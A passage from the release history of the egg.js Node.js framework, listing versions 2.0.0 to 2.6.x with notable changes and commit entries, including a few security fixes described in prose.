[[`ba708ca4e`](http://github.com/eggjs/egg/commit/ba708ca4e911a345d2ee6aea5d4cf5845f93212b)] - feat: support customized client error (#2283) (Khaidi Chu <<i@2333.moe>>)\n  * [[`8697140d6`](http://github.com/eggjs/egg/commit/8697140d6ab10f42980ea301e7122331b6e5573a)] - chore: add export to declarations (#2344) (Axes <<whxaxes@qq.com>>)\n  * [[`441884145`](http://github.com/eggjs/egg/commit/4418841452a20a4fcca212e17dad0fbe9ff97646)] - chore(typings): export PowerPartial (#2327) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`33d39519e`](http://github.com/eggjs/egg/commit/33d39519e1bd9bb1451776abe4986cdf4dee7626)] - docs(passport): config passport-github behind of proxy (#2318) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`84e0dc4e7`](http://github.com/eggjs/egg/commit/84e0dc4e74e4e907d39b5485e1b19c3900aec393)] - fix(d.ts): add modifier to plugin and add middleware to config (#2322) (Axes <<whxaxes@qq.com>>)\n\n## 2018-04-04, Version 2.6.0 @atian25\n\n### Notable changes\n\n* **feature**\n  * TypeScript tool support (#2272)\n\n* **docs**\n  * improve d.ts with ts support (#2306)\n  * docs improve and translation\n\n### Commits\n\n  * [[`406142758`](http://github.com/eggjs/egg/commit/40614275845f49512e80d1c8c00d1997ee91b113)] - chore: improve d.ts with ts support (#2306) (Axes <<whxaxes@qq.com>>)\n  * [[`7fba689b7`](http://github.com/eggjs/egg/commit/7fba689b73fa46fdf7447844338a7f538ad78665)] - docs(controller): session example bug (#2313) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`e0e7ed146`](http://github.com/eggjs/egg/commit/e0e7ed146adfe932558628b815caa2d8c64d6939)] - chore(typings): change export interface to class definition (#2293) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`161107929`](http://github.com/eggjs/egg/commit/1611079291ddcf8cc82dba40a2406dcad20b75b5)] - docs(plugin): add config notice for `addSingleton`  function (#2305) (Shangbin Yang <<rccoder.net@gmail.com>>)\n  * [[`1c74a8491`](http://github.com/eggjs/egg/commit/1c74a84918869ec035c5767884501a87cce945d5)] - docs: add assets document (#2220) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`e4531e563`](http://github.com/eggjs/egg/commit/e4531e563214472e54b4c467e0d2879e6390cb52)] - docs: EN translation for view plugin dev doc (#2240) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`348ff18d8`](http://github.com/eggjs/egg/commit/348ff18d82e357d9bceba5136c339ef7dfb44bda)] - docs: EN translation for style guide doc (#2239) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`d9c4ec2bb`](http://github.com/eggjs/egg/commit/d9c4ec2bbb3aa29ddcba2efceec6edfa879267d7)] - EN translation for resources doc (#2238) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`46217a5d2`](http://github.com/eggjs/egg/commit/46217a5d2e451433ec86614cfb65336300a074d9)] - docs(security): add ssrf in security (#2274) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`c3586eab5`](http://github.com/eggjs/egg/commit/c3586eab535ee540ffac664f0311c656ef7adca2)] - docs: deprecate ignoreJSON (#2270) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`a86334c59`](http://github.com/eggjs/egg/commit/a86334c595530c5f4e9cf65204a4591dfd26bcf0)] - docs: example for custom id when mysql update (#2165) (OnedayLiu <<onedayliu552@gmail.com>>)\n  * [[`10327e185`](http://github.com/eggjs/egg/commit/10327e185015098c9c29747abbaf79a352f975d7)] - docs: EN translation for socketio tutorial doc (#2167) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`5b059db6a`](http://github.com/eggjs/egg/commit/5b059db6a879abb3ffe7b30e95855afc8a660107)] - docs: add boilerplate type desc (#2250) (QiChang Li <<github@liqichang.com>>)\n  * [[`9007b5847`](http://github.com/eggjs/egg/commit/9007b5847e67b678f6624da4610b6bdff9457c52)] - chore: update package.json for release (#2244) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n## 2018-03-20, Version 2.5.0 @atian25\n\n### Notable changes\n\n* **feature**\n  * display router when log app (#2230)\n  * update `favicon.png`\n  * upgrade cluster-client to 2.x (#2236)\n\n* **docs**\n  * improve d.ts\n  * add socket.io webchat description (#2198)\n\n### Commits\n\n  * [[`6040d6f8f`](http://github.com/eggjs/egg/commit/6040d6f8f1a67282ff697c6d86945bc0cb487fe6)] - chore: fix spelling error rotator (#2242) (HE ZIQIANG <<heziqiang@qq.com>>)\n  * [[`1554da57e`](http://github.com/eggjs/egg/commit/1554da57ef9d8b0fd2cb023a0cc68b50bee6b69f)] - chore: upgrade cluster-client to 2.x (#2236) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n  * [[`9faa052bf`](http://github.com/eggjs/egg/commit/9faa052bfdffe887c1557126a73a62fe2e462dc5)] - feat: tsd add init module (#2233) (Eward Song <<eward.song@gmail.com>>)\n  * [[`d5f9059f1`](http://github.com/eggjs/egg/commit/d5f9059f1935a67748033143081755811664df9d)] - docs: translation for basic plugin (#2166) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`7afc7e24b`](http://github.com/eggjs/egg/commit/7afc7e24b60776a71702ae5495d637b1ac4a3d06)] - feat: display router when log app (#2230) (Kiho · Cham <<monkindey@163.com>>)\n  * [[`5e99fd6fd`](http://github.com/eggjs/egg/commit/5e99fd6fd86be4de5a2eca24bc2025f120cef6aa)] - docs: egg-passsport-local -> egg-passport-local (楊傑文 Chuck Yang <<chuck@ninethreads.com>>)\n  * [[`c042366df`](http://github.com/eggjs/egg/commit/c042366df6a691e56c528f16083516a53e114944)] - docs(socket.io): add webchat description (#2198) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`5cce8795a`](http://github.com/eggjs/egg/commit/5cce8795a733c9096de6e050fec5a87be99b0002)] - chore: fix typo. (#2172) (薛定谔的猫 <<hh_2013@foxmail.com>>)\n\n## 2018-03-05, Version 2.4.1 @dead-horse\n\n### Notable changes\n\n* **fix**\n  * [security] don't allow x-forwarded-host header by default\n  * `ctx.runInBackground` will try to use custom function name first\n\n* **docs**\n  * improve d.ts\n    * add regexp as type of path in Router\n    * fix type of `render`\n  * more semantic and moment installation in quickstart\n\n### Commits\n\n  * [[`0eabce6`](http://github.com/eggjs/egg/commit/0eabce6389190cecc00011512ec7e4e63fd0471e)] - fix: don't allow x-forwarded-host header (#2163) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`f0edf96`](http://github.com/eggjs/egg/commit/f0edf9622b6a18831f285e6ceb5a0e2b25b04fd0)] - fix: try to use custom function name first (#2161) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`1a73720`](http://github.com/eggjs/egg/commit/1a73720d8ba14c612cc6fd38d419212e032049f8)] - fix(typings): add regexp as type of path (#2157) (AngrySean <<xujihui1985@gmail.com>>)\n  * [[`b55e908`](http://github.com/eggjs/egg/commit/b55e908643dc2ef1a21c7a4b11559e1785985792)] - doc(quickstart): more semantic and moment installation (#2154) (Kiho · Cham <<monkindey@163.com>>)\n  * [[`951e236`](http://github.com/eggjs/egg/commit/951e236586f3fdc988504f4138351b2c7778e67c)] - Fix type of `render` (#2155) (Arniu Tseng <<arniu2006@gmail.com>>)\n\n## 2018-02-28, Version 2.4.0, @fengmk2\n\n### Notable changes\n\n* **feature**\n  * support Keep-Alive Header\n\n* **fix**\n  * add logger in base_context_class\n\n* **docs**\n  * Lots of d.ts improved.\n    * add context\n    * add urllib\n    * add resources & logger\n  * new documents\n    * how to call the service\n    * socket.io tutorial\n    * add events on application\n\n### Commits\n\n  * [[`79927324a`](http://github.com/eggjs/egg/commit/79927324a5aeb1f826fc9f133bed253d8324c62e)] - fix: add logger in base_context_class (#2149) (Axes <<whxaxes@qq.com>>)\n  * [[`a73900231`](http://github.com/eggjs/egg/commit/a7390023150ff4d5a7ec069276a94542a7ef67fa)] - feat: support Keep-Alive Header (#2146) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c8284367c`](http://github.com/eggjs/egg/commit/c8284367c727aa2da453a1a485c4d7f97cfb3967)] - docs(ts): fix some d.ts (#2144) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e0282b923`](http://github.com/eggjs/egg/commit/e0282b923375132fcc3b936b471999a84eb1e941)] - docs(router): add definition of ctx (#2136) (重庆 <<1756260160@qq.com>>)\n  * [[`3e7ef6aa5`](http://github.com/eggjs/egg/commit/3e7ef6aa566d800411822d9a4195c9df34634789)] - docs(app-start): how to call service (#2133) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`9472b5828`](http://github.com/eggjs/egg/commit/9472b5828c95cd1dec2910b657d1e6c34372a6a2)] - docs(schedule): fix log dir (#2123) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ede433fc5`](http://github.com/eggjs/egg/commit/ede433fc594c915683a519bf9b409209812806cf)] - docs(unittest):fix some mistakes (#2110) (恬竹 <<2632807692@qq.com>>)\n  * [[`2d03c79a1`](http://github.com/eggjs/egg/commit/2d03c79a1842846c4caf2f3b971a5bae5fc9f24d)] - chore: add urllib declaration support in index.d.ts (#2117) (SoraYama <<sorayamahou@gmail.com>>)\n  * [[`fd6fa2495`](http://github.com/eggjs/egg/commit/fd6fa24955a7a7bceaad7b2f754123282b7e1cbe)] - docs(2.x-advanced-plugin):fix some descriptions (#2111) (恬竹 <<2632807692@qq.com>>)\n  * [[`0a208d741`](http://github.com/eggjs/egg/commit/0a208d7413d77f12048df91b6bdb6e2dfd047c89)] - docs: translation for advanced/plugin.md (#2075) (DukeFightLife <<AdoBeatTheWorld@users.noreply.github.com>>)\n  * [[`42e4ea4c1`](http://github.com/eggjs/egg/commit/42e4ea4c12a542671bac7ca92931e83d0fc439f4)] - docs(schedule):fix some places (#2105) (恬竹 <<2632807692@qq.com>>)\n  * [[`63278c229`](http://github.com/eggjs/egg/commit/63278c2293b0899165386288c38cac44aa7a0b71)] - docs(2.x-basic-extend):fix some mistakes (#2107) (恬竹 <<2632807692@qq.com>>)\n  * [[`7a604d37f`](http://github.com/eggjs/egg/commit/7a604d37f5184c268263779fa2b8ca459e3d6f5b)] - docs(2.x-basic-service):fix some mistakes of service (#2102) (恬竹 <<2632807692@qq.com>>)\n  * [[`a1a4e7dd3`](http://github.com/eggjs/egg/commit/a1a4e7dd32bf040b69e8c8bfbdcae3e483eee335)] - docs(plugin): add description for plugin.local.js (#2104) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`2cdfcc249`](http://github.com/eggjs/egg/commit/2cdfcc249863630dbb298374dbbe2b45864a0e1c)] - docs(development): adjust to new version vscode (#2098) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`bb4b29002`](http://github.com/eggjs/egg/commit/bb4b290027a6dcf8404ae357e29aaa6a76d5413a)] - docs(faq): add the most common mistake of config (#2086) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`5621a8574`](http://github.com/eggjs/egg/commit/5621a8574b60d61dab79f601105b69710559831c)] - docs(schedule): logging && args (#2091) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`03a894439`](http://github.com/eggjs/egg/commit/03a89443904211785ca600ec74f78d75bbf7a299)] - docs: d.ts of resources& logger (#2079) (x22x22 <<wadeking@qq.com>>)\n  * [[`bbfacc5a7`](http://github.com/eggjs/egg/commit/bbfacc5a75984a7ddc111195b51d7da8bd6d0713)] - docs(middleware): use app.middleware instead of app.middlewares (#2077) (x22x22 <<wadeking@qq.com>>)\n  * [[`7e9f330ee`](http://github.com/eggjs/egg/commit/7e9f330eea2efcc26e99eb89ad3fb40c517e0101)] - docs(socket.io): add tutorial (#1913) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`1224dd65f`](http://github.com/eggjs/egg/commit/1224dd65f2e4dadcce70d9a6e8e66122d93fbdd7)] - docs(2.x-basic-controller):fix some descriptions of basic-controller (#2043) (恬竹 <<2632807692@qq.com>>)\n  * [[`fa5bdaeb5`](http://github.com/eggjs/egg/commit/fa5bdaeb5fec6385f81bc4c3781036df3fa6d870)] - style(app/extend/request.js): Some Comments from Chinese To English in union (#2051) (DongWei <<maledong_forwork@foxmail.com>>)\n  * [[`06e7710c7`](http://github.com/eggjs/egg/commit/06e7710c73c5f4ad313d08b770e5874919e21b88)] - docs: add events on application (#2039) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`65e038132`](http://github.com/eggjs/egg/commit/65e038132c9183c66c11fb50e3a8bc6358cdae4c)] - docs(advanced/loader): translate (#1654) (Weilun Xiong <<azardf4yy@gmail.com>>)\n\n## 2018-01-26, Version 2.3.0, @dead-horse\n\n### Notable changes\n\n* **feature**\n  * emit `request` and `response` event in every request\n\n* **docs**\n  * improve english docs\n  * add alinode usage\n\n### Commits\n\n  * [[`50a0f8a`](http://github.com/eggjs/egg/commit/50a0f8ac8fe246d664f73f171b8886f9b9c2eda7)] - doc: fix deploy example (dead-horse <<dead_horse@qq.com>>)\n  * [[`3b7a313`](http://github.com/eggjs/egg/commit/3b7a313965f9c8ae6e20a16dd74533b1885f216f)] - docs(deploy): more about alinode (#2036) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`950b9e6`](http://github.com/eggjs/egg/commit/950b9e684f2441674ed85a3c0152002991d2ff86)] - doc: fix deploy docs (dead-horse <<dead_horse@qq.com>>)\n  * [[`18d6436`](http://github.com/eggjs/egg/commit/18d6436195ca1a73098c643d39ce4560b20e7d76)] - docs: translate advanced/cluster-client.md (#1839) (学究 <<zsxyz1314@gmail.com>>)\n  * [[`287c761`](http://github.com/eggjs/egg/commit/287c7615ad425b130e2c669a41409bfa763feef2)] - Update deployment.md (#1979) (juju <<juju_chen@foxmail.com>>)\n  * [[`22dfaa7`](http://github.com/eggjs/egg/commit/22dfaa72e3851196153f4ecb7f3599d2951e9b1b)] - feat: emit request and response event (#2020) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`ddbb4b3`](http://github.com/eggjs/egg/commit/ddbb4b3c0ec7cfc5c9b1baa7e678770613bd4761)] - docs(deploy): add alinode (#2025) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`b5d823f`](http://github.com/eggjs/egg/commit/b5d823f52a770f879da46c6968adadd3fa14e8d7)] - docs(core/unittest): fix path of helper.js(#2029) (#2030) (Jiulong Hu <<me@hujiulong.com>>)\n  * [[`1e3a4b3`](http://github.com/eggjs/egg/commit/1e3a4b35801e136dd4f1fbaf3c49b771a50c0f72)] - docs(basic-router):fix some places of basic-router (#2012) (恬竹 <<2632807692@qq.com>>)\n\n## 2018-01-22, Version 2.2.1, @dead-horse\n\n### Notable changes\n\n* **fix**\n  * log cookie's key when cookie exceed limit length\n\n* **document**\n  * improve english documents, fix some grammars\n  * add link to alicloud node.js perfomance platform\n  * use PATCH method in resource router\n\n### Commits\n\n  * [[`aa46eb2`](http://github.com/eggjs/egg/commit/aa46eb26d45012036c69c524db512ed16fde7b6b)] - fix: log cookie's key when cookie exceed limit length (#1996) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`7993b45`](http://github.com/eggjs/egg/commit/7993b45ec2af8c2d96d82370d877476786504dc8)] - docs(basic-middleware):fix some descriptions of basic-middleware (#1998) (恬竹 <<2632807692@qq.com>>)\n  * [[`b2d09e1`](http://github.com/eggjs/egg/commit/b2d09e150da70a08c1886b00031c0f07eeb7d830)] - docs: put => patch. (#1793) (#1938) (吴建金 <<mosaic101@foxmail.com>>)\n  * [[`dede240`](http://github.com/eggjs/egg/commit/dede240340570c00e3baed8098853a44c902dc21)] - feat: add helper interface in d.ts (#1989) (Axes <<whxaxes@qq.com>>)\n  * [[`19fe608`](http://github.com/eggjs/egg/commit/19fe6085fedabfc09eb9c26534df237decf4d28e)] - docs: add deer stat (#1974) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`cef371e`](http://github.com/eggjs/egg/commit/cef371e4a176c62d9b44c0f1e55668e992921d2d)] - docs(basic-env): fix some descriptions base on the Chinese version (#1930) (恬竹 <<2632807692@qq.com>>)\n  * [[`55d08bd`](http://github.com/eggjs/egg/commit/55d08bded812b81efeee96a0e3465728c7f4f5a2)] - fix(ts): error declare of route.resource (#1959) (AntSworD <<zhengjj.asd@gmail.com>>)\n  * [[`32d7c81`](http://github.com/eggjs/egg/commit/32d7c8199611b00cd5117e6adcf8904ea0b33ff5)] - docs: fix word error (#1965) (jxDeveloper <<896222652@qq.com>>)\n  * [[`3acf45f`](http://github.com/eggjs/egg/commit/3acf45f77ef791b1e6467bd4047511d867d46cc9)] - docs(basic-config): fix some word spelling (#1931) (恬竹 <<2632807692@qq.com>>)\n  * [[`0e90819`](http://github.com/eggjs/egg/commit/0e9081954a765228ee9d590f01f3bfaaf1a4e5d8)] - docs(advanced/framework): translation (#1668) (freebyron <<freexiegd@gmail.com>>)\n  * [[`ab1b08e`](http://github.com/eggjs/egg/commit/ab1b08ef520ab8db4cddd8f6cf52f1aa87d6975f)] - docs: fix en index (#1915) (Weilun Xiong <<azardf4yy@gmail.com>>)\n  * [[`2270f7f`](http://github.com/eggjs/egg/commit/2270f7f0417f9c78958c6b51e70ad7a0d838d6ec)] - docs(basic-objects): fix some descriptions (#1903) (恬竹 <<2632807692@qq.com>>)\n  * [[`c136470`](http://github.com/eggjs/egg/commit/c136470861b35a5f796d4edcdd8f6fbce41f7314)] - test: use Buffer.alloc, Buffer.from. (#1895) (薛定谔的猫 <<hh_2013@foxmail.com>>)\n  * [[`73bc636`](http://github.com/eggjs/egg/commit/73bc636ddb82bd73fa14fb5f56e8ffe6260b46cc)] - docs(links): Add link to alicloud node.js perfomance platform (#1894) (Jackson Tian <<shyvo1987@gmail.com>>)\n  * [[`55d1b0e`](http://github.com/eggjs/egg/commit/55d1b0eb5c4ca27668559b94259f0670b60d57b6)] - docs(deploy): add --ignore-stderr (#1876) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`532110a`](http://github.com/eggjs/egg/commit/532110abbc01cf3f225c47ed6219d9434c48808c)] - fix: fix 404 page url (#1881) (sam <<289623783@qq.com>>)\n\n## 2017-12-26, Version 2.2.0, @dead-horse\n\n### Notable changes\n\n* **feature**\n  * `config.meta.logging` to enable log every request when received\n\n* **document**\n  * fix some grammars\n  * add rule for issue\n\n### Commits\n\n* [[`9fe5b85`](http://github.com/eggjs/egg/commit/9fe5b8563958d313b02482e5b3fe69c342acfa71)] - feat: enable request started log on meta middleware (#1877) (fengmk2 <<fengmk2@gmail.com>>)\n* [[`8ce9611`](http://github.com/eggjs/egg/commit/8ce9611e2e2e5098a7a4557e0f8d29cd93ab468c)] - docs(objects): fix some grammars (#1806) (恬竹 <<2632807692@qq.com>>)\n* [[`e43aa2b`](http://github.com/eggjs/egg/commit/e43aa2bad227475744ef6422f376475d0ee266c4)] - docs(error-handling): fix some words (#1874) (Fan <<incomparable9527@foxmail.com>>)\n* [[`4c1617a`](http://github.com/eggjs/egg/commit/4c1617a16ee3df1b455f5eeb1cb31e37e5f593c1)] - docs(faq): add rule for issue (#1861) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-12-15, Version 2.1.0, @dead-horse\n\n### Notable changes\n\n* **feature**\n  * add 400 response for broken client request to instead of empty response\n  * dump application router json\n\n* **fix**\n  * fix: run dumpConfig at the last ready callback\n\n* **document**\n  * migrate docs to egg 2\n  * add document for passport\n\n### Commits\n\n* [[`40df153`](http://github.com/eggjs/egg/commit/40df153dd7ca8124a7502ba6cdc838835388a0ae)] - feat: add 400 response for broken client request to instead of empty response (#1829) (Khaidi Chu <<i@2333.moe>>)\n* [[`d0ee9f2`](http://github.com/eggjs/egg/commit/d0ee9f2500e69a1e0662c9ea597bf97db3418041)] - docs(passport): fix some description (#1828) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`f7c6a0a`](http://github.com/eggjs/egg/commit/f7c6a0a835ea950e98e40a0b4b83736912b5ab82)] - docs(passport): add description (#1825) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`f66d9be`](http://github.com/eggjs/egg/commit/f66d9be57807c04058511b47611afa890884b2a5)] - docs(passport): the missing docs for passport (#1824) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`18f93f0`](http://github.com/eggjs/egg/commit/18f93f0b927a08e6bd356f9fcc6a3141e813e85f)] - docs(core/view.md): translation (#1577) (Zhongyuan <<zhang.zhongyuan11@gmail.com>>)\n* [[`7e05669`](http://github.com/eggjs/egg/commit/7e056692506f5801390fd804d75bf6756991a54b)] - 1. docs(error-handle): missing function keywords. (#1819) (M.Y.Akashi <<yanzhi.mo@aliyun.com>>)\n* [[`89e114c`](http://github.com/eggjs/egg/commit/89e114cb88ef1ef96e479001bf0f8250867111c9)] - docs: add AntV links (#1809) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`bdfd3cc`](http://github.com/eggjs/egg/commit/bdfd3cc62b8377cadac2a6c108944d86eaca3df0)] - docs(router): new style & remove app.verb (#1803) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`4c9eacb`](http://github.com/eggjs/egg/commit/4c9eacbb7d4560924602103e5e23ae578ac34a52)] - docs(middleware): add description of import koa middleware (#1805) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`c152dee`](http://github.com/eggjs/egg/commit/c152deec69c3dbb06ce87433a46bab0bc61e295b)] - docs(loader): adjust extends way (#1729) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`289f8cd`](http://github.com/eggjs/egg/commit/289f8cd3d90cc24c55fa51e3d75f5750233af7ee)] - docs(progressive):changes some grammar (#1773) (恬竹 <<2632807692@qq.com>>)\n* [[`ae87460`](http://github.com/eggjs/egg/commit/ae87460d6aacb38f4d60d703450f8085c72d3b0d)] - docs(migration): add description for plugin breakchange (#1766) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`a2788a8`](http://github.com/eggjs/egg/commit/a2788a870175d6c1abdad3c379bbb9adc6c24ba9)] - docs(controller): import base controller directly (#1771) (Yiyu He <<dead_horse@qq.com>>)\n* [[`7ebfc9b`](http://github.com/eggjs/egg/commit/7ebfc9b96b03a6b1bdffc3da65c6940902dc3086)] - docs(quickstart): fix typo in code example (#1765) (Darren Poon <<dyhpoon@gmail.com>>)\n* [[`6ff6998`](http://github.com/eggjs/egg/commit/6ff699824dce6962d7aa9e9e48f41a50a994834f)] - docs: add security english translation (#1691) (Adams <<jtyjty99999@126.com>>)\n* [[`a061f21`](http://github.com/eggjs/egg/commit/a061f21178b2253b587dab780ba74f19605109a4)] - docs(intro): make some changes for egg-and-koa (#1739) (恬竹 <<2632807692@qq.com>>)\n* [[`d752b3b`](http://github.com/eggjs/egg/commit/d752b3b795cc0c5a579770695fcadd3db713ff6f)] - docs(deployment): adjust with new version egg-scripts (#1757) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`1b12b51`](http://github.com/eggjs/egg/commit/1b12b519937e80728d133ea24ff88a2568b72a57)] - docs(cookie-session): use async (#1723) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`5c88026`](http://github.com/eggjs/egg/commit/5c880266f9968a2e9b102db7c0eea2c7b0f09a43)] - docs(plugin): use async (#1730) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`ebb8adf`](http://github.com/eggjs/egg/commit/ebb8adfadcf21ba29997c65d5adc5a92235ffa8d)] - some changes of docs(what is egg) (#1734) (恬竹 <<2632807692@qq.com>>)\n* [[`2da00fc`](http://github.com/eggjs/egg/commit/2da00fca45d9bc161cae5ab9754a3fcc0321b9c7)] - docs(framework): use new way (#1728) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`47fbee5`](http://github.com/eggjs/egg/commit/47fbee574b94d9f6420d44e7a8f0ccec035d94f4)] - docs(cluster-client): use async (#1727) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`1420682`](http://github.com/eggjs/egg/commit/1420682dc5b6fb14342373d9b70614c3de0c015b)] - docs(ipc): use async (#1722) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`503b69b`](http://github.com/eggjs/egg/commit/503b69b2e5c3f59b9c3c307a50e711cd8eb8d967)] - feat: dump application router json (fengmk2 <<fengmk2@gmail.com>>)\n* [[`76ff783`](http://github.com/eggjs/egg/commit/76ff783b80a9d9ffc01db1b434c25fedd6e27ca7)] - fix: run dumpConfig at the last ready callback (fengmk2 <<fengmk2@gmail.com>>)\n* [[`50efe4c`](http://github.com/eggjs/egg/commit/50efe4ceb9a4c8ec902a503db7ad10ffe7819e1a)] - docs(httpclient): use async (#1724) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`d043148`](http://github.com/eggjs/egg/commit/d043148b8ee69614098b39604dd6b7d7e1a84810)] - docs: remove async-function (#1713) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`e3ef3ec`](http://github.com/eggjs/egg/commit/e3ef3ec65c5e2874c813f6cda18b61b630d137be)] - docs(restful): use async (#1709) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`b042937`](http://github.com/eggjs/egg/commit/b042937b1e77b8206206a248c9f3e3ab82b7d6d8)] - docs(error-handling): use async (#1721) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`80ab243`](http://github.com/eggjs/egg/commit/80ab2439d508e9e0574df31061b5bb14988c2e3e)] - docs(i18n): use async (#1720) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`6741999`](http://github.com/eggjs/egg/commit/67419996a3abd403ab8d67755ecb98c3a9b97338)] - docs(logger): use async (#1719) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`f39c105`](http://github.com/eggjs/egg/commit/f39c105067e08fe416f86d0a415f5475ce66ba17)] - docs(view): use async (#1717) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`cf3de0f`](http://github.com/eggjs/egg/commit/cf3de0f248e3435a7d6ac41ece16dea55f5e86c9)] - docs(unittest): use async (#1716) (TZ | 天猪 <<atian25@qq.com>>)\n* [[`cb9c9a4`](http://github.com/eggjs/egg/commit/cb9c9a43015a47347273bf8a09d971205b0d57ec)] - docs(mysql): use async (#1711) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-11-20, Version 2.0.0, @dead-horse\n\n### Notable changes\n\n* **performance**\n  * By removing the wrapper code of `co` library, performance increase over 30% (which not include the performance boost coming with Node 8), see [#14](https://github.com/eggjs/benchmark/pull/14) and [benchmark](https://eggjs.github.io/benchmark/plot/)\n\n* **feature**\n  * [BREAKING CHANGE] drop node <8 support\n  * upgrade to egg-core@4(base on koa 2), but still supports all the usages in egg 1\n  * upgrade built-in plugins to adapt egg@2\n  * `runInBackground` use location as scope name when anonymous\n\n* **fix**\n  * dump async function as AsyncFunction\n\n* **document**\n  * migrate some documents to async function\n  * split plugin and plugin development\n  * refactor the description about cluster client @vincenthou\n  * add document for how to customize error handler\n  * translate cookie and session @zhang-z\n  * translate basics/schedule.md, thanks @Azard\n\n### Commits\n\n  * [[`8197826`](http://github.com/eggjs/egg/commit/8197826a8dca062c91ba45c235cec66a93f335a4)] - docs: refine egg-and-koa with egg 2 (#1686) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`757f275`](http://github.com/eggjs/egg/commit/757f275a16741c670f210876408aaeefe5797a23)] - fix: dump async function as AsyncFunction (#1687) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`12edd64`](http://github.com/eggjs/egg/commit/12edd64915164df6b2d5fed9e179e90954f25687)] - test: use async function instead of generator function (#1684) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`5513456`](http://github.com/eggjs/egg/commit/5513456e2c702fdc1b7a500f8d8d58048d1041fa)] - feat: runInBackground use location as scope name when anonymous (#1683) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`212b077`](http://github.com/eggjs/egg/commit/212b077993cff01c08c55fa4545c324adb96322c)] - doc: Add th.yml (#1682) (NatPi <<31546528+NatJNP@users.noreply.github.com>>)\n  * [[`3ddd67f`](http://github.com/eggjs/egg/commit/3ddd67fbbb83a783541118a05d7e0febb2fde7f3)] - docs(advanced/cluster-client): refactor the description about cluster client (#1417) (vincent.hou <<vincenthou365@gmail.com>>)\n  * [[`3d948e4`](http://github.com/eggjs/egg/commit/3d948e44e55fbb88c318a8f14fa7a0b0a8b71b4e)] - docs(plugin): split plugin and plugin development (#1663) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`b1343ad`](http://github.com/eggjs/egg/commit/b1343ad55f08b15f8084104c54db0b5975716323)] - docs(core/unittest): translate unittest.md (#1660) (freebyron <<freexiegd@gmail.com>>)\n  * [[`fb2d96a`](http://github.com/eggjs/egg/commit/fb2d96ae8e1759edc9126a2920f9028b6e4d15df)] - docs(app-start): generator -> async (#1662) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`12c0a8a`](http://github.com/eggjs/egg/commit/12c0a8afb8cd332037670f7db8e8662566c1407f)] - docs(quickstart): fix app.Service (#1661) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`49b0071`](http://github.com/eggjs/egg/commit/49b00712de6eed7c386b07c7c91082ef36cc667f)] - docs(core/cookie-and-session): translate section Cookie (#1562) (Zhongyuan <<zhang.zhongyuan11@gmail.com>>)\n  * [[`ac55d5e`](http://github.com/eggjs/egg/commit/ac55d5eb0b90e2333e3d92523075615e80835647)] - docs: fix typo in async function (#1657) (BccSafe <<bccsafe5988@gmail.com>>)\n  * [[`9f362d8`](http://github.com/eggjs/egg/commit/9f362d878b61e1144ceab851215dbafb974fb85f)] - docs(basics/schedule.md): translate (#1648) (Weilun Xiong <<azardf4yy@gmail.com>>)\n  * [[`448d094`](http://github.com/eggjs/egg/commit/448d0945c0030d2f2bdf8e0f85ccfcbde4ba2b25)] - deps: upgrade all plugins to adapt egg@2 (#1653) (Yiyu He <<dead_horse@qq.com>>)\n  * 